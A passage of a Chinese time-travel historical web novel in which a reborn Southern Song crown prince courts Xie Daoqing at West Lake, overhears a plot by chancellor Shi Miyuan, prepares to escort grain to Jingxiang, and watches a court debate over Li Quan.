谢道清听了宋宇的长篇大论,害羞的将脸转向了西湖,盯着波光粼粼的湖面,谢道清开口说道“:殿下谬赞了,清儿祖父虽曾贵为宰相,却一生节俭,到了父亲这一代,更是有些贫寒。全靠杨姑姑接济,尚能温饱。故而,清儿平素没有什么胭脂水粉打扮。哪里比得上那些涂脂抹粉的姑娘们好看?”
“:这满树桃花,没有一朵是靠浓妆艳抹而艳压群芳。以此而论,浑然天成之美,方是美的真解。”
“:殿下对美,似乎别有一番高论。清儿受教了。”
“:哪里是什么高论,只是就事论事罢了。”
说到这,宋宇对着谢道清一拱手“:谢姑娘前日朝堂上相救之恩,竑感激不尽。”
“:殿下不必言谢,本来事情就是因清儿而起,解铃还须系铃人,清儿只不过是报答殿下搭救之恩罢了。”
话到此出,两人相视而笑。宋宇忽又想起什么似的,转身回到白马旁,从马鞍袋中取出一个木制小匣,双手捧着回到谢道清面前“:谢姑娘,这是竑的一点心意,还请收下。”
谢道清接过小匣,打开一看,里面是一把精致的小**,还附带十余支箭矢。不由好奇的拿在手里,把玩起来。
好一会才意犹未尽的转头看向宋宇。
宋宇忙开口“:虽然送姑娘家**箭确实有些不合适,可竑思来想去,为了谢姑娘安全着想,这件小**倒也算得上礼物。”
“:清儿很是喜欢。多谢殿下。”
相比于宋宇的拘谨,谢道清开心的将小**收下。随即转身小跑到五花亭内,从石凳上解开一个小包袱“:殿下,清儿也要送你一样礼物。”
宋宇听了谢道清招呼,紧走两步。待走到谢道清附近,就见谢道清从包袱里取出一卷布匹。
等到谢道清将布匹舒展开来,才发现竟然是一面旗帜。细看之下,就见旗帜中间红色打底,四周金色丝绸镶边。还有金色布条围绕四周。
正面正中绣着一条威武的白龙,乘云而上,目视宋宇,霸气十足。
背面则用金色丝绸绣了个大大的赵字。
谢道清笑着开口道“:殿下,这面旗帜是清儿亲自绣的,不知道合不合您的心意?”
宋宇心里云里雾里的。不清楚这丫头为什么初次见面送自己一面旗帜。要说旗帜,太子府不缺啊?
话说自己刚刚送人家**箭,人家姑娘也很开心。现在这面旗帜,还是不要多问得好,直接收下便是。
摆出一副喜悦的面容,宋宇正要感谢谢道清,却见谢道清嘟着嘴,调皮的问道“:殿下就不奇怪,为什么要送一面旗帜给您?”
宋宇暗道:自己送你一个姑娘武器你都没问,我多嘴不合适吧?
“:啊,竑很是喜欢这面旗帜,回去就挂在府里。”
“:殿下莫要敷衍清儿。你现在,就问清儿,这面旗帜的用意。”
“:好吧。敢问谢姑娘,这面旗帜,有何用意?”
话到此出,谢道清的眉角才舒展开,温柔的问道“:殿下觉得大宋怎么样?”
“:载歌载舞,四海承平。人人富足?”
宋宇一连
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回答了三个好词。
却让谢道清有些愠怒“:殿下看到的,只是您的太子府,还有临安城满是权贵富商的御街。殿下您需要出去走走了。看一看大宋的乡下,边疆。那里才是真实的大宋。”
宋宇听完谢道清一席话,皱眉沉思:感情这丫头在这等着我呢。傻子都知道南宋富得只是权贵世家,要是出了临安,北地战火,南疆掳掠,流民四起,天灾经年累月不息。
可这又跟这面旗帜有什么关系呢?
谢道清见宋宇若有所思,出言继续说道“:殿下,自唐末藩镇割据,黄巢起义,五代纷争,到陈桥兵变,澶渊之盟,再到王安石变法,靖康之耻,屠戮岳飞。已经近五百栽,我华夏,五百栽没有出过像样的皇帝了。殿下,清儿虽然是个女子,但自小听祖父讲些个英雄豪侠的传奇,他们往往扎堆出现,如天上繁星闪耀一般夺目迷人,又如流星坠落般,留下一个个故事。每每他们来到,往往天下兵乱连年之时。每每他们离去,又留下一个个太平世道,让老百姓得以休养生息。不用送自己的孩子去前线打仗,让天下人不用再受割地赔款的羞辱。耳濡目染之下,清儿时常想,若我大宋,有那些英雄豪杰在,是否能一雪前耻,重回巅峰?”
谢道清一席话说完,随即满脸期待的看着宋宇。
宋宇心跳加速,有些结巴的说道“:我,我恐怕不是那块料,谢姑娘太高看我了。”
“:殿下的勇敢,清儿早就领略。那日胡同混战,虽不是战场,可殿下为了清儿这个弱女子,能舍弃这身为太子的锦绣性命,愤然出手相救,在清儿看来,殿下当得起英雄二字。”
宋宇却有些垂头丧气“:那只不过是小流氓斗殴罢了,难登大雅之堂。更不要说,现在史弥远这座高山,让我举步维艰,能活着,我已经很知足了。”
“:殿下莫要自卑,清儿相信,在不久的将来,殿下一定能做出一番功业,流芳百世。而这,也正是清儿送殿下这面旗帜的深意。清儿希望,殿下带着这面旗帜,一路披荆斩棘,直临巅峰。然后,把这面旗帜,种在所有宋人的心中。”
宋宇万万想不到谢道清送自己旗帜,还有这么深层次的意思。皱眉嗯了一声,随即接过了旗帜。
扬州天气多变,方才晴空**,现在却又浓云密布,数声雷鸣之后,雨点落下。雨中西湖,更添美感。堤岸小路上,行人纷纷撑起了油纸伞,往来不绝。
远处湖面,雨点落下,激起点点水波,泛起涟漪,一圈圈的向四周扩散。又与其它雨点涟漪相撞,相融,消散。循环往复,取意盎然。
宋宇和谢道清看着湖面,有一搭没一搭的闲聊着。
“:殿下,以后直呼小女子清儿即可。”
“:清儿。”
“:听闻殿下府中有一风尘女子,长相貌美似天仙,可否说一说她?”
“:啊?这...”
“:怎么?殿下怕清儿吃醋?”
“:那,那倒不是。我和她没什么。”
第三十七回 驭马西湖畔 夜静人未眠
彩蝶破茧翅随风,
蚍蜉问天过一生。
大江东去行**,
起于寒泉至海终。
苍天有情雨化泪,
欲海无边道难行。
孤舟远赴幽冥界,
百世轮回百世空。
谢道清继续追问“:她叫什么名字?”
宋宇结巴道“:苏,苏小小。”
“:名字真好听。怪不得能被殿下疼爱,还盖了竹楼。”
“:那...那是个误会。史弥远泼脏水诬陷我。”
谢道清不自觉笑了起来“:咯咯...好啦,我相信殿下为人。不过我想问殿下,在你眼中,小小和清儿相比,谁更漂亮?”
“:这...”
“:不想回答也没关系。”
“:各有千秋。小小的美,像是人力雕琢而成,极具吸引力,用魅惑众生来形容也不为过。至于清儿你,就像是隔壁家青梅竹马一块长大的邻家姑娘。虽不加修饰,那种美却贴近于自然,更加真实。”
谢道清嘟着嘴“:看来还是她美。”
宋宇却连连摇头,话题一转“:其实,小小的身世不太好,至于心性,还有待观察。”
“:哦?怎么讲?”
“:清儿可听过扬州瘦马?”
“:瘦马?没听过。”
“:那秦淮河呢?”
“:秦淮河倒是听过,烟花柳巷之地,和马有什么关系吗?”
“:关系大了。在秦淮河,那些自小被卖掉的女子,会被老鸨子从小传授服侍男人的技巧,这样养大的女子,被称为扬州瘦马。是史弥远他们这些人最爱送来送去的礼物。”
“:原来是这么回事。看那些书生一个个衣冠楚楚的,满嘴的大道理,想不到...”
“:人都是在各种名利之中各取所需。凡有利可图者,皆为商品。”
话说到这里,两人陷入了沉默。
良久,宋宇开口问“:清儿这辈子最大的梦想是什么?”
“:梦想?清儿倒没想过。不过可以的话,清儿想像普通农家的女孩一样,找到心上人,结婚过日子。任凭岁月消磨,年老色衰,他也不会嫌弃我丑,始终对清儿不离不弃。从青丝到白发,从日出到黄昏。平平淡淡,无病无灾的过完这一生。”
谢道清一席话说完,宋宇感慨道“:是啊,人生本没有那么复杂,逝者如斯夫,不舍昼夜。或许眨眼间,便是一生。相比于史弥远他们物尽其欲的做法,或许像谢道清说的,与心爱之人,无病无灾的,简简单单度过此生,更加贴合于自然。”
聊到这,雨停日出,西湖上没了雨点击打的涟漪,却又起了一层薄雾。朦胧的日光透过雨后的薄雾,散落在西湖上。
照的薄雾微醺,别有一番韵味。湖中荷花随风起舞,左右摇摆。荷叶上露珠不时被甩落在湖中。宋宇作诗:
莫笑荷花随风转,
细细荷藤怎堪折?
片片荷叶载清露,
西湖烟雨两潸然。
时至正午,谢道清温柔的问宋宇“:殿下饿不饿?”
宋宇摸了摸肚皮,只觉腹中空空,咕咕怪叫“:你这么一问,倒是有些饿了。”
谢道清随即再次翻起随身包袱,从中拿出一个小小的食盒,打开后取出一碟咸菜,一盘鱼,两小碗米饭,和两小瓶酒“:殿下,这是清儿自己做的西湖醋鱼,还有腌黄瓜。这两瓶是清儿酿的女儿红。还请殿下不要嫌弃。”
宋宇看着摆好的酒菜,馋虫作祟,哪里会嫌弃,忙拿起筷子夹了一片西湖醋鱼放在口中咀嚼“:这鱼真好吃。”
又拿起酒,在鼻子处闻了闻,一股酒香伴随着花香扑鼻而来“:桃花味的状元红?”
“:放了些桃花蜜。”
宋宇轻轻抿了一口,让酒在舌尖尽量多停留几刻,顿觉浑身暖洋洋的,虽有微辣,却醇厚香甜“:好酒,清儿真是生了一副巧手。”
谢道清掩面而笑“:殿下喜欢便好。”
宋宇扒拉着米饭,也不顾嘴上饭粒,边咀嚼边讨好似的恭维谢道清“:清儿这厨艺,就是前日去的那临安城里最大的酒楼,都不能相比。”
“:清儿平素没事,就爱做些小菜,厨艺上倒还有些自信。至于酿酒,是跟父亲的好友请教的。至于临安城那些个酒楼,不过是金字招牌罢了。厨艺,或许熟能生巧,却是不能和清淡爽口的家常小菜相比。平素吃家常小菜吃多了,偶尔换换口味环境,或许不错。可若是日日吃,多油多盐,容易冲了味觉。”
语毕,谢道清掏出绣帕,帮傻乎乎盯着自己看的宋宇,擦掉了脸颊上的饭粒。
就这样,俩人边吃边聊,从酒楼饭菜,聊到家长里短。直到饭菜吃完,谢道清收拾停当。
“:清儿,要不要一块去骑马?”
“:殿下马术怎么样?”
“:昨天刚学会的。”
“:那殿下坐在后边,清儿来御马。”
宋宇鼻子抽了抽,脸上有些不情愿。
谢道清却大咧咧的径直走到宋宇那匹白马旁,上下左右前后仔细打量了一番,这才指着马对宋宇说道“:这匹马一看就不好驾驭,殿下你看,这马的眼睛睫毛修长,上眼皮下垂,始终一副看不起人的眼神盯着你,人常说,以眼观心,想必这马高傲的紧。”
宋宇听了谢道清的相马言语,不住的点头“:昨天踢人了,还摔了我好几次。”
谢道清板起脸,拿起马鞭,翻身上马。那马还要暴起嘶鸣,却被谢道清一马鞭抽的连连低喘,再没了脾气“:殿下,上来吧。对付这些马眼看人低的畜生,就该直接拿鞭子抽。”
宋宇看到谢道清用马鞭轻而易举驯服了这匹马,顿时满脸臊得通红,心想自己昨天可是用尽浑身解数才稍微让这匹马顺从些。可今天...
宋宇脸红的拉着谢道清右手翻身上马,坐在了谢道清后边。
“:殿下,你可抓紧清儿,莫要摔下去了。”
宋宇忙伸手向前抱住谢道清那杨柳般的细腰,脸差点贴在谢道清背上,就觉一阵香气扑鼻,宋宇有些失神,却听前边谢道清一甩马鞭,白马听话的向前跑去。
日头西斜,倦鸟归巢。只见一英武少年,一美丽姑娘,正驾驭一匹白色骏马在这西湖畔策马狂奔。直到日头落尽,天色渐暗。两人才意兴阑珊的结束了骑马。
互相告别后,宋宇领着
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侍卫,一路护送谢道清归家。直到将谢道清护送到大门口,才依依不舍地再次相互告别,向着济国公府内走去。
这一趟西湖与谢道清的相会,让两人好感倍增,相约以后书信往来。
辞别了谢道清,宋宇驭马回府。一路无话,直到回得府中,府内一干兄弟一个个都是面带笑容,**在门口迎接宋宇。
只听程保禀报道“;殿下,韩将军已经将岳元帅甲胄送到府上来了。“
话音刚落,韩令辉一身戎装,站到了宋宇跟前。按照行伍惯例,行了个单膝礼,爽朗的说道“:卑职韩令辉,拜见太子殿下。“
宋宇忙上前将韩令辉一把扶起,满脸笑容的说道“:韩将军何必多礼?这府中都是自家人,不必如此客套。来,我来给你介绍几位兄弟认识。”言毕,从地上拉起韩令辉,将府内一干兄弟一一介绍了个遍。待介绍到华岳之时,韩令辉竟意外地‘扑通’一声,跪倒在地,满脸愧色的对着华岳说道“:知道华兄弟为奸人所害,恨不能挺身相救。让兄弟在牢中受苦了。”
华岳苦笑着摇了摇头,走上前去,一把扶起韩令辉,安慰他道“:过去的事,将军何必再提?此时华岳已然脱险。将军又何必自责。”言罢,对着韩令辉是哈哈大笑。
宋宇暗自揣摩,这俩人不会认识吧?看来私教还不错。对了,华岳是太学武学生,莫非是在太学学习时认识的?
宋宇一向好事,刚想开口询问俩人关系,却见韩令辉转过头来对着自己又跪了下去“:殿下,多谢您救了华兄弟。不然,卑职悔恨终生。”
“:你们俩认识?”
“:不瞒殿下,卑职原是北方人士,因战乱与老母南下避难。路上几乎饿死,是华兄弟的师尊张三丰出手相救,这才苟活至今。”
听到这里,宋宇了然了。看来这张三丰在这个时代,善缘颇多啊。一边示意韩令辉起来,宋宇又暗自得意:看着这群宋朝的英雄人物,在自己的牵线下,一一相识,这感觉,别提多棒了。
赶忙招呼后厨开饭。与众位兄弟又是一番推杯把盏。直至月照柳梢头,众人才散去。
宋宇饮酒有些多,脸上火辣辣的,在众人走后,独自坐在庭院石凳旁纳凉。
济国公府中的夜,漫天繁星,凉风徐徐,伴随着蛐蛐的叫声,以及太子府中古色古香的建筑。一切是那么静,那么美。不由作诗:
昨夜微凉昨夜星,
昨夜流水潺潺声。
昨夜小院听犬吠,
千古风流一梦中。
一向没心没肺,吃得香,睡哪都睡得死猪似的宋宇,今夜却失眠了。回到卧室后,只见他趴在卧房中的木窗前,右手托着腮帮子,出神的看着窗外发呆:唉!这一切到底是梦是醒?是否这谢姑娘只是我梦中所想?但今日坐在她身后驭马狂奔,却为何那般真实?
话说,清儿到底是因为我这太子的身份,还是因为我宋宇才喜欢我的?若是我接受了她,万一哪天我一觉睡醒,再也找不到她了。又该如何是好?
正在这时,庭院中传来一阵脚步声,经过昨晚夜袭的宋宇,此时警惕性提高了许多。
第三十八回 谁没个遗憾 窃窃私语声
只见宋宇大声冲着脚步声方向喊道“:大胆的贼人,深夜到此,有何贵干?”喊罢,将头探出窗子,双目望向脚步声传来的方向。
哪料却听得一阵爽朗的笑声传来“;哈哈哈.......殿下,是小弟。”
宋宇听到回答,紧皱的眉头放松下来“:余老幺,大晚上的不睡觉,出来吓人作甚?”
余阶从黑暗中闪出身来,微笑着说道“:晚上只顾饮酒,吃的少了,现在腹中空空,睡不着。倒是殿下你,深夜为何在此发呆?莫不是有什么心事?说来给小弟听听,小弟定然会给殿下出条妙计。“语毕,余阶对着宋宇嘿嘿傻笑。
宋宇看余阶那一副欠揍的模样,白了他一眼随即摇了摇头“:没有心事,只是晚上也吃得少,饿得睡不着。“
言罢从房内取了灯笼,出了卧室。也不管余阶如何,边走边说道“:想找东西吃,就随我来。后面厨房应该还有些剩菜剩饭。热热吃。总比饿着肚子睡觉强。”言罢,头也不回的向中院走去。
余阶眼见宋宇闷闷不乐的样子,揣摩着宋宇是不是有什么心事,但宋宇不好意思说,他余阶也肯定不会傻到去刨根问底。紧跑两步追上宋宇“:殿下,等等小弟。”便跟着一路沉默的宋宇来到了厨房。
此时厨房杂役早已睡下。宋宇打起灯笼四下照了照。便看到了笼屉边的烛台。
从袖筒里拿出火奴儿,将蜡烛点着。整个厨房瞬间被笼罩在一片微弱的烛光里。
宋宇转过头,对着余阶指了指笼屉,开口说道“:饭菜都在笼屉内,你去取些柴火,咱热一热,一块吃。”
两人一通忙活,饭菜摆好。余阶边吃,边打秋风询问宋宇“:殿下,这人活一世,但凡感到迷惘,无非为情,求财,争权。后两样小弟看殿下不缺,莫非是?”
宋宇嘴角露出一丝意味深长的笑容“:和你们这些聪明人做朋友,脸上都不能有表情了。不然一准被看穿。你没猜错,我一直在为谢姑娘伤脑筋。”
“:哦?是谢姑娘今天拒绝了你?”
“:那倒不是。”
“:那就是相中殿下了?”
“:应该是吧?都摸了人家姑娘腰了。”
“:都发展到这一步了?可喜可贺啊。殿下为什么愁眉苦脸?”
“:谢姑娘太完美了,我怕配不上她。辜负了她。咱们的敌人可是史弥远!有兵有权,万一哪天......”
“:嗨,就为这事发愁啊!殿下,娶妻生子,人伦之美。左顾右盼,迟早后悔终身。”
宋宇听了余阶的一番分析,沉默了片刻,又开口反问余阶“:你碰上过喜欢的姑娘吗?”
余阶略作沉思,随即莞尔一笑“:人生在世,谁能没个心上人呢?”
“:说来听听。”
“:我吧,家里穷。家徒四壁那种。父母早逝,又无兄妹。唯一作伴的,是隔壁家的姑娘。后来长大了,本想提亲。却被她父母挡在门外。我一赌气,就没有在纠缠下去。”
“:他父母为什么拒绝呢?”
“:穷。”余阶很干脆地回答。
“:那我给你一笔钱。”
余阶见宋宇要给钱,苦笑着摇了摇头“:这么多年过去了,想必她已为人母。”
话到此出,两人陷入了沉默。
宋宇和余阶半夜不睡觉找东西吃。另一边,谢道清家。和宋宇一样,谢道清也失眠了。
此时谢府一间昏黄烛光飘忽的卧房内,谢道清正歪着脑袋,趴在窗台上,出神得看着夜色发呆:都说这殿下沉迷琴色,醉生梦死。理应是阅天下美女无数,但为何见我之时,又会羞得满脸通红?
一块骑马时,他还拘谨的很。殿下若是好色之徒,断不会如此表现。早巴不得搂我腰了。尤其是殿下那双眼,就像无风时的湖水,平静的可怕。注视得久了,会发现眼神空洞深邃的可怕。仿佛殿下能够看穿这人间的一切。
一个足不出户的富家公子,怎会有如此深邃的目光?这殿下还真是让人猜不透呢。
济国公府“:吃得好饱啊,殿下。天也不早了,咱回去吧。”余阶打着饱嗝,招呼着宋宇。
宋宇笑着回了一句好。
随即提起灯笼,头前走了出去。说实话,经过这些时日的相处,宋宇在众兄弟中,最喜欢和余阶谈笑。
在宋宇的认知里,余阶没有刘克庄的严肃,没有程保赵国的顺从性子,但却有一颗玲珑剔透的心。
宋宇每次想做什么,这余阶就好似宋宇肚里的虫,每次都能猜得到。直另宋宇越加喜欢他。
余阶看宋宇走了出去,赶忙熄了火烛。小步快跑的跟了过去。待走近时,余阶有些奇怪的问道“:殿下,为何不见程保赵国等人巡逻守夜?”
宋宇头也没回“:啊!这两天事太多了,两人就没睡过好觉。我便取消了今晚的守夜,只是在前后门安排了几人。经过昨晚那件事,我估计史弥远会学乖点。”
余阶听了宋宇回话,有些关切的说道“:殿下,话虽如此说,但这史弥远能有今日光景,又岂是毫无手段之人?该小心的时候,我等还需加倍小心。”
宋宇在心里细细思量了片刻“:你说的。”话未说完,嘴突然被余阶捂住,刚想挣扎的他,却被余阶一个噤声的手势打断。
顺着余阶所指,宋宇打眼看去,只见前面除了黑暗,却并未有何异样。正要发怒的宋宇,还不待挣扎开余阶的手,便被余阶拉到了一旁的草丛。
余阶快速将灯笼熄灭,小声说道“:殿下怎的这般迟钝?刚才有一黑影从中院摸到了前院,殿下您没看见?”
宋宇被他这么一说,怒气顿消,小声问道“:莫非是贼?”
余阶摇了摇头,忽又灵机一动“:殿下,你且小心些跟在小弟身后,小弟领您去看场好戏。”语毕,拉着宋宇便奔前院摸去。
宋宇被余阶这么一拉,突然有点触电的感觉。心想俩男人半夜手拉手,被人撞见会说不清楚的。
但看余阶那一脸认真的模样,又不好意思拂了他的心意。只好尽量降低声息,小心谨慎跟在余阶身后。
就这样在黑暗中摸索不知多久后,宋宇突听
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到前面不远处的花圃中,一对男女的对话之声。
余阶回身对着宋宇做了个噤声的动作,又指了指前边花圃。随即拉着宋宇悄悄摸到声音刚刚能听清的位置。示意自己两人躲在这里偷听便好。宋宇做了个我懂了得手势,随即津津有味的偷听了起来。
只听得一娇滴滴的声音,有些愠怒的质问道“:相爷真是好手段,一石二鸟,既除了心头之恨,又将唯一的知情人给不明不白的解决了。实在是招妙棋啊!”
话刚说完,便听一个男人的嘘声响起“;嘘!我的姑奶奶,还要不要命了?”
隔了会,那个声音才继续弱弱的说道“;我的姑奶奶,你可是误会恩相了。恩相绝无杀你之意,昨夜为了救你,还故意冒着被发现身份得危险,派万昕来保护姑奶奶你呢。”
话刚说完,那个女声再次响起,只不过这次温柔了许多“:哦?原来如此,这么说,那夜万总管也确实来过府内。看来是小女子误会恩相了...只是不知恩相派阁下深夜到此作甚?莫不是要在做那行刺之事?”
“:这倒不是,恩相派在下来,就是为了给姑奶奶你解释昨晚之事。”
那姑娘听到此处,爽朗的说了声“:啊!有牢恩相挂念了。若无其他事,那将军请回吧。现在这府内可谓是卧虎藏龙,阁下呆的久了,我怕到时会打草惊蛇。反倒不美。“言罢,便听一阵脚步声传来。
哪知那男子的声音紧随而来“:姑奶奶且听在下把话说完。“
“:哦?还有何事?“那女子问道。
那男声明显有些不好意思的说道“;其实此次来,在下还被恩相嘱咐了一件差事。“
“:阁下还请长话短说,切莫在吞吞吐吐。“女声催促道。
“:恩相差在下来,带来了一条口信。口信嘱咐姑娘,数月后,有批运粮船要定期远航。这太子便要跟着这批运粮船远赴荆襄运粮。恩相叮嘱姑娘,定要想尽办法与这太子同行。至于路上安排,到时自有人与姑娘碰面。”
“:还请回禀恩相,奴家定会尽力为之。”女声说完。脚步声响起。
等到女子走远了,男子恶狠狠的骂了句“:小**,跟我这装什么高傲呢?等到了荆襄,有你好果子吃。”
不多时,男子脚步声渐行渐远。
待四周归于沉寂之后。宋宇吃惊的说道“:方才是小小那丫头吧?“
“;想必非此人莫属。“余阶冷静的回答道。
宋宇邹了皱眉头“:这史弥远怎知我会去那荆襄督粮?“
余阶呵呵一乐“:殿下,现在这朝廷内,都是他一人说了算。他若想要殿下亲去督粮,只需一纸公文而已。“
宋宇有些不高兴,反问道“:若我父皇出面阻止,他又岂会得逞?”
“;皇上定然不会阻止。“余阶肯定的回答道。
“:哦?愿闻其详!“宋宇满脸吃惊的问道。
“:以小弟度之,皇上现在的心思,巴不得殿下您有多远走多远,远到好暂时消减殿下与史弥远双方的对立。”余阶平静的说道。
第三十九回 数月已流走 再上六参朝
宋宇一脸紧张的对着余阶询问“:那此次前去,岂不是自投罗网,有死无生?“
余阶拍了拍宋宇肩膀“:殿下,所谓富贵险中求,这皇位也是如此,殿下现在无兵无权,倘若他日皇上仙游,史弥远变乱,我等岂不全都死无葬身之地?与其在此坐等死日,不若出去拼他一把,要知这史弥远在临安或可只手遮天,但出了这临安城,我等每走远一步,史弥远能对我等施加的影响便越小。到时天高任鸟飞,海阔凭鱼跃。大把的机会和江湖俊杰在等着我们。”
宋宇皱眉思虑了一会,有些不确定的答道“:这史弥远诳我出城,便是想来个有去无回。又怎会任凭我肆意而为?”
“:哈哈哈!”一阵笑声之后,余阶对宋宇附耳嘀咕了几句。语毕,余阶甩了甩衣袖,向卧房走去。
宋宇茫然地盯着余阶走远。越想,越觉得今晚余阶饿的太巧了,莫不是这余阶早就算准史弥远要派人来?宋宇紧走两步,追上余阶问道“;余老幺,今晚之事,是不是你一早就算准了?”
余阶不置可否的摇了摇头“:殿下,所谓无巧不成书,莫要胡思乱想。一切都是巧合。”
“:小小好像对史弥远有点意见了。”
“:那是自然,差点没烧死,忠心还剩下多少,可想而知。你瞧小小,府内的事,只字未提,这不就说明殿下救对人了么。这丫头,分得清是非。”
第二日,宋宇由于连续两天的折腾,直睡到了日上三竿。醒来后洗了把脸。又吩咐厨房做了些吃食。便走到前厅唤来了余阶与刘克庄。打算商量下昨夜无意间听到之事。
待人凑齐后,宋宇本想先和刘克庄详细描述下。哪知刘克庄早已尽知。开门见山对着宋宇一脸严肃的说道“:殿下,此事是福是祸,尚不知晓。但余兄弟所说也不无道理。我等若只是在这临安城坐以待毙,却是下策。不若便顺了他史弥远之意。出去拼他一拼。若能结识些忠义之士,对殿下日后登基或许会助力不少。”
宋宇眨巴眨巴眼,知道他两人都是赞同了。索性便打听起这督粮之事的细节。以免到时露出马脚。
原来这南宋的粮食也分为几个片区。屯粮之所在每个片区都有。但鉴于各片区之间产量,与消耗量等因素。每年临安都会向缺粮之地运送粮草。反之则将各地收上来的粮草,运些来这临安囤积。
荆襄之地与江淮之地由于这些年与金国的连年战争。早已入不敷出。所以临安不时都会运粮到这两地。这粮食在钱塘江口装船出海,到得建康,再将粮草卸下,换成轻便的江船。一路沿长江而上。最后将粮草送抵襄阳。
在将这一路细节全都告知宋宇之后,余阶拱了拱手“:殿下,这史弥远想要加害于我等,多半于长江之上,话说这长江之上近些年盗贼丛生。还需小心谨慎。”
宋宇听话的点了点头。毕竟这古代水战自己狗屁不通。射不得**,游不得水。
到时候估计就是被保护得主。此时若是不仔细听这俩兄弟的。到时候喂了鱼,岂不冤枉?
在与两人仔细研究了此次出行的详细计划后。宋宇的顾虑才打消了不少。
次日,被宋宇派去湖州的杨辉风尘仆仆的回到了太子府。
宋宇急不可耐的召集询问“:杨兄弟,这湖州可真如我所言?”
之所以这么问,实在是宋宇心里也没底,毕竟史书就是个任人打扮的小姑娘,谁知道真假?
杨辉一脸笑容“:殿下真是料事如神,这湖州果真有潘氏三兄弟,个个都是忠义武勇之士。尤其是那大哥潘壬,使得一手太祖长鞭,舞的是滴水不漏,与十数位渔民切磋,竟丝毫不漏下风。实是另兄弟大开眼界啊。”
“:哦?那我便放心了。只是为何陈达兄弟未归?”宋宇又问道。
“:我二人已选好一片竹林,十分隐蔽。现在陈兄弟并潘氏三兄弟正在那边指挥一干渔民建造院落。小弟特回来取些银两,到时可好好犒劳犒劳那些个渔民。并潘氏三兄弟。”
“;嗯,那便好,需要多少银两,尽可来府中取。估计不久后,我和余兄弟几人马上要去那荆襄运粮。这府中只剩你和刘兄弟了。到时你二人可要好好合作。毕竟这湖州可关系到我等的身家性命。”宋宇微笑的答道。
“:是殿下,潘氏三兄弟和那些渔民都是老实忠厚之辈,知是殿下吩咐,都言分毫不取。想来这宅院也花费不了多少。”杨辉答道。
宋宇听了杨辉所言,对着他劝道“:杨兄弟,现今我等正是用人之际,千万不要亏待了他们。你且听我一言,这些个渔民并潘氏三兄弟,皆以大宋禁军两倍的薪俸给予。平素也要多备些好酒好肉,好生招待着。毕竟这些个渔民都是拉家带口。若是为了帮我等,反倒令其无米下炊。岂不冷了人心?”
杨辉听了宋宇的劝告,赶忙说道“;是小弟糊涂了。小弟这次前去,便将殿下的心意,并钱财都交代给潘氏三兄弟。令其自行分配。”
宋宇听到杨辉回答,这才满意的点了点头。毕竟自己府中钱财都是史弥远那老贼所送,用到这些个贫苦渔民手中。这才叫物尽其用。
在吩咐了杨辉其他几件事后。宋宇便早早的吃了饭睡下了。
时光荏苒,转眼数月悄然而逝。这数月里,史弥远及其党羽,异常的安静,没有再来找宋宇他们麻烦。
太子府迎来一段平静的岁月。府内一切日常,有条不紊的进行着。
宋宇除了和谢道清往来,大多时间在府内跟随华岳等人学习剑术。半年的时间,宋宇剑术小有进步。
用华岳的话说,殿下虽然基础差,年龄大,但好在悟性高,又肯吃苦。剑术上的招式路数,已然基本熟稔。
若是再对上街头小流氓,三两个还是能轻松解决的。可若是碰上剑道高手,跑就是
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了。
华岳做出的点评,宋宇觉得很受用。之前跟程保比试,虽然程保有放水的嫌疑,但宋宇还是能在技巧上,略胜程保些许。
期间陈达回来过几次。小小从陈达那里得到了火铳,请教完用法后,这丫头每日练习,十分勤奋。
数月过去,虽做不到陈达那般百步穿杨,但数十步内弹无虚发。让宋宇暗暗赞叹这姑娘颇有射击天赋。
直到一日,又是六参朝会。
宋宇未等程保那急性子喊,便早早起来了。洗漱完毕,让程保备了马。便奔着皇宫而去。
已近夏末,空气凉爽了些。此时天还未亮,宋宇被凉风一吹,打了几个喷嚏。暗道:这临安夏末的早晨,与自己前世那地处北方的小县城可是大不相同。
前者即使夏末,仍旧湿气颇重。后者地处北方,临近秋天,往往干燥少雨,用秋高气爽来形容,十分贴切。
话说数月过去了,史弥远仿佛忘了自己似的。每次朝会,史弥远再没有针对过自己。包括那些史党,也是异常安静。前几次朝会甚至都没议论过什么要紧事。每次都是宁宗懒洋洋的宣布散朝。
仿佛这天下突然四海承平。就连天灾都没人上报。这么平静,莫不是暴风雨前的宁静吧?
还有数月前偷听到的运粮的事,愣是没人提过。要说史弥远吃了那么大的亏还不报复,这可不符合史弥远一贯的作为。
话说刚听到要运量到襄阳,还有些害怕。可等得久了,心里又有些期待。襄阳,是不是和临安一样繁华?
“:殿下,到了。”程保小声提醒着坐在马上愣神的宋宇。
宋宇懒洋洋的打了声哈欠,揉了揉由于早起那惺忪的睡眼,随即翻身跳下马。双手交叉放在胸前,向着垂拱殿走去。
话不多说,待朝会开始后,宋宇直摇头,龙椅上宁宗仍旧一脸不耐烦的斜倚在龙座上。
下边一帮子大臣是低头不语。直到旁边内侍喊出了一句“:有事早奏,无事退朝。”
这才有人站出来说道“:臣有本奏。”
宋宇寻着声音看去,原来是乔行简。这家伙还真是每次上朝,都会来点什么新花样。只是不知道这次他又要说出什么语不惊人死不休的话来了。
宋宁宗一看是他,嘴角不自觉的抽了抽,一脸厌烦的冲他挥手示意让他说下去。
毕竟这乔行简好歹也是个工部侍郎,你不让他参奏,还真是说不过去。
乔行简整了整衣装,面色平静的说道“:启禀圣上,臣要参劾之人乃是广州观察使,京东总管李全。今年年春,臣曾奏报,李全与张林交恶互攻。后张林败走投了蒙古。李全悉数得其兵马领地。臣当时言明此事之后,圣上便让史相处理此事,可小半年过去了,这件事还是没有下文,臣倒不是怀疑史相办事不力,只是听闻那李全狡猾异常,怕他使了什么手段,这就不由得下官擅自揣测了。”
第四十回 李全又被参 小小欲同行
话说到此,立马有人打断乔行简道“:乔大人,你说你不好好**工部的差事,天天瞎折腾些这个干甚?你越权了你知道吗?不在其位不谋其政,说给狗听了?莫不是认为李全**了朝中某位大臣?“宣缯斜着眼质问乔行简道。
宋宇饶有兴致的看着这场庙堂斗嘴大戏,却又暗中为这乔行简惋惜,凭着自己那一根筋,又如何能翻倒史弥远这座高山?
史弥远不除,又如何能左右这朝局?说句粗俗点的话,这史弥远放个屁,那也是大宋得规矩。你乔行简就算是说的再对。那也只能是放了一个屁。惋惜归惋惜,宋宇可不想没事找事,去和这满朝文武斗嘴去。
宋宇自顾自地瞎琢磨,乔行简也没闲着,似是没听到宣缯的话,继续不卑不亢的表达自己的观点“:臣今日想说的,乃是这李全,前几日趁我大宋调动官员之际,私自出兵并吞了原来由我大宋淮东制置使所辖的帐前忠义军。圣上啊,若长此以往放任这李全闹将下去,做大做强,我大宋将永无宁日。“
